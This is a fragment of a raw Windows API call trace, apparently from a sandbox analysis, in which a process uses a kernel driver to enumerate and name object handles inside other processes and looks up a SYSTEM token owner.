ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.919] ObfDereferenceObject (Object=0xfffffa8007591420) returned 0x1 [0119.919] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.919] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.919] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.919] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0119.919] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.919] PsAcquireProcessExitSynchronization () returned 0x0 [0119.919] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0) [0120.032] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8007591b60, HandleInformation=0x0) returned 0x0 [0120.032] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.032] PsReleaseProcessExitSynchronization () returned 0x2 [0120.032] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0120.032] ObQueryNameString (in: Object=0xfffffa8007591b60, ObjectNameInfo=0xfffffa800388e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800388e044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.032] ObfDereferenceObject (Object=0xfffffa8007591b60) returned 0x1 [0120.032] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.032] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.032] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0120.032] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.032] PsAcquireProcessExitSynchronization () returned 0x0 [0120.032] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0) [0120.111] ObReferenceObjectByHandle (in: Handle=0x14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800483e9b0, HandleInformation=0x0) returned 0x0 [0120.111] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.111] PsReleaseProcessExitSynchronization () returned 0x2 [0120.111] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0120.111] ObQueryNameString (in: Object=0xfffffa800483e9b0, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.111] ObfDereferenceObject (Object=0xfffffa800483e9b0) returned 0x1 [0120.111] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.111] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.111] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.111] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0120.111] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.111] PsAcquireProcessExitSynchronization () returned 0x0 [0120.111] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0) [0120.246] ObReferenceObjectByHandle (in: Handle=0x18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8006dffbe0, HandleInformation=0x0) returned 0x0 [0120.246] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.246] PsReleaseProcessExitSynchronization () returned 0x2 [0120.246] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0120.246] ObQueryNameString (in: Object=0xfffffa8006dffbe0, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.246] ObfDereferenceObject (Object=0xfffffa8006dffbe0) returned 0x1 [0120.246] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.246] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.246] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.247] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0120.247] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.247] PsAcquireProcessExitSynchronization () returned 0x0 [0120.247] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0) [0120.376] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8006dffa90, HandleInformation=0x0) returned 0x0 [0120.376] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.376] PsReleaseProcessExitSynchronization () returned 0x2 [0120.376] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0120.376] ObQueryNameString (in: Object=0xfffffa8006dffa90, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0120.376] ObfDereferenceObject (Object=0xfffffa8006dffa90) returned 0x1 [0120.376] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.376] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.377] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.377] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0120.377] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.377] PsAcquireProcessExitSynchronization () returned 0x0 [0120.377] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0) [0120.450] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8006dff940, HandleInformation=0x0) returned 0x0 [0120.450] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.450] PsReleaseProcessExitSynchronization () returned 0x2 [0120.450] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0120.450] ObQueryNameString (in: Object=0xfffffa8006dff940, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.450] ObfDereferenceObject (Object=0xfffffa8006dff940) returned 0x1 [0120.450] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.451] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.451] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.451] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0120.451] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.451] PsAcquireProcessExitSynchronization () returned 0x0 [0120.451] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0) [0120.542] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8006dff7f0, HandleInformation=0x0) returned 0x0 [0120.542] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.542] PsReleaseProcessExitSynchronization () returned 0x2 [0120.542] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0120.542] ObQueryNameString (in: Object=0xfffffa8006dff7f0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.542] ObfDereferenceObject (Object=0xfffffa8006dff7f0) returned 0x1 [0120.542] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.542] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.542] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0120.542] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.542] PsAcquireProcessExitSynchronization () returned 0x0 [0120.542] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0) [0120.637] ObReferenceObjectByHandle (in: Handle=0x28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8006dff6a0, HandleInformation=0x0) returned 0x0 [0120.637] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.637] PsReleaseProcessExitSynchronization () returned 0x2 [0120.637] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0120.637] ObQueryNameString (in: Object=0xfffffa8006dff6a0, ObjectNameInfo=0xfffffa80019ff7c4, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff7c4, ReturnLength=0xfffff88004435550) returned 0x0 [0120.637] ObfDereferenceObject (Object=0xfffffa8006dff6a0) returned 0x1 [0120.637] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.637] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.637] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.637] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.637] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.637] PsAcquireProcessExitSynchronization () returned 0x0 [0120.637] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880044355d0) [0120.756] ObReferenceObjectByHandle (in: Handle=0x3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00029b610, HandleInformation=0x0) returned 0x0 [0120.756] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.756] PsReleaseProcessExitSynchronization () returned 0x2 [0120.756] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0120.756] ObQueryNameString (in: Object=0xfffff8a00029b610, ObjectNameInfo=0xfffffa800388e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800388e044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.756] ObfDereferenceObject (Object=0xfffff8a00029b610) returned 0x1 [0120.756] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.756] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.756] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x148) returned 0xc0 [0120.756] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0120.756] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa8002ef9060, HandleInformation=0x0) returned 0x0 [0120.756] ObOpenObjectByPointer (in: Object=0xfffffa8002ef9060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000794) returned 0x0 [0120.756] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x81 [0120.757] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000794, DesiredAccess=0x8, TokenHandle=0xfffffa80038b6180 | out: TokenHandle=0xfffffa80038b6180*=0xc8) returned 0x0 [0120.757] ZwClose (Handle=0xffffffff80000794) returned 0x0 [0120.757] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.757] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0120.757] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0120.763] CloseHandle (hObject=0xc8) returned 1 [0120.763] CloseHandle (hObject=0xc0) returned 1 [0120.763] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.763] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0120.763] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.763] PsAcquireProcessExitSynchronization () returned 0x0 [0120.763] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.763] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002ef0860, HandleInformation=0x0) returned 0x0 [0120.763] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.763] PsReleaseProcessExitSynchronization () returned 0x2 [0120.763] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.763] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435508) returned 0x0 [0120.763] ObfDereferenceObject (Object=0xfffffa8002ef0860) returned 0x1 [0120.764] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.764] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.764] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x36, lpOverlapped=0x0) returned 1 [0120.764] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.764] PsAcquireProcessExitSynchronization () returned 0x0 [0120.764] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.764] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a004a4c080, HandleInformation=0x0) returned 0x0 [0120.764] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.764] PsReleaseProcessExitSynchronization () returned 0x2 [0120.764] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.764] ObQueryNameString (in: Object=0xfffff8a004a4c080, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.764] ObfDereferenceObject (Object=0xfffff8a004a4c080) returned 0x2 [0120.764] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.764] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.764] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.764] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.764] PsAcquireProcessExitSynchronization () returned 0x0 [0120.764] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.764] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a004a076a0, HandleInformation=0x0) returned 0x0 [0120.764] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.764] PsReleaseProcessExitSynchronization () returned 0x2 [0120.764] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.764] ObQueryNameString (in: Object=0xfffff8a004a076a0, ObjectNameInfo=0xfffffa8001a04044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a04044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.764] ObfDereferenceObject (Object=0xfffff8a004a076a0) returned 0x1 [0120.764] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.764] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.764] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.764] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0120.764] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.765] PsAcquireProcessExitSynchronization () returned 0x0 [0120.765] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.765] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003050460, HandleInformation=0x0) returned 0x0 [0120.765] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.765] PsReleaseProcessExitSynchronization () returned 0x2 [0120.765] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.765] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019fa044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019fa044, ReturnLength=0xfffff88004435508) returned 0x0 [0120.765] ObfDereferenceObject (Object=0xfffffa8003050460) returned 0x1 [0120.765] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.765] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.765] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.765] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.765] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.765] PsAcquireProcessExitSynchronization () returned 0x0 [0120.765] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.765] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089823f0, HandleInformation=0x0) returned 0x0 [0120.765] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.765] PsReleaseProcessExitSynchronization () returned 0x2 [0120.765] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.765] ObQueryNameString (in: Object=0xfffff8a0089823f0, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.765] ObfDereferenceObject (Object=0xfffff8a0089823f0) returned 0x1 [0120.765] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0120.765] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0120.765] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0120.765] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0120.765] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0120.765] PsAcquireProcessExitSynchronization () returned 0x0 [0120.765] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880044355d0) [0120.765] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a008985b00, HandleInformation=0x0) returned 0x0 [0120.765] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0120.765] PsReleaseProcessExitSynchronization () returned 0x2 [0120.765] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0120.765] ObQueryNameString (in: Object=0xfffff8a008985b00, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0120.765] ObfDereferenceObject (Object=0xfffff8a008985b00) returned 0x1 [0120.766] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) 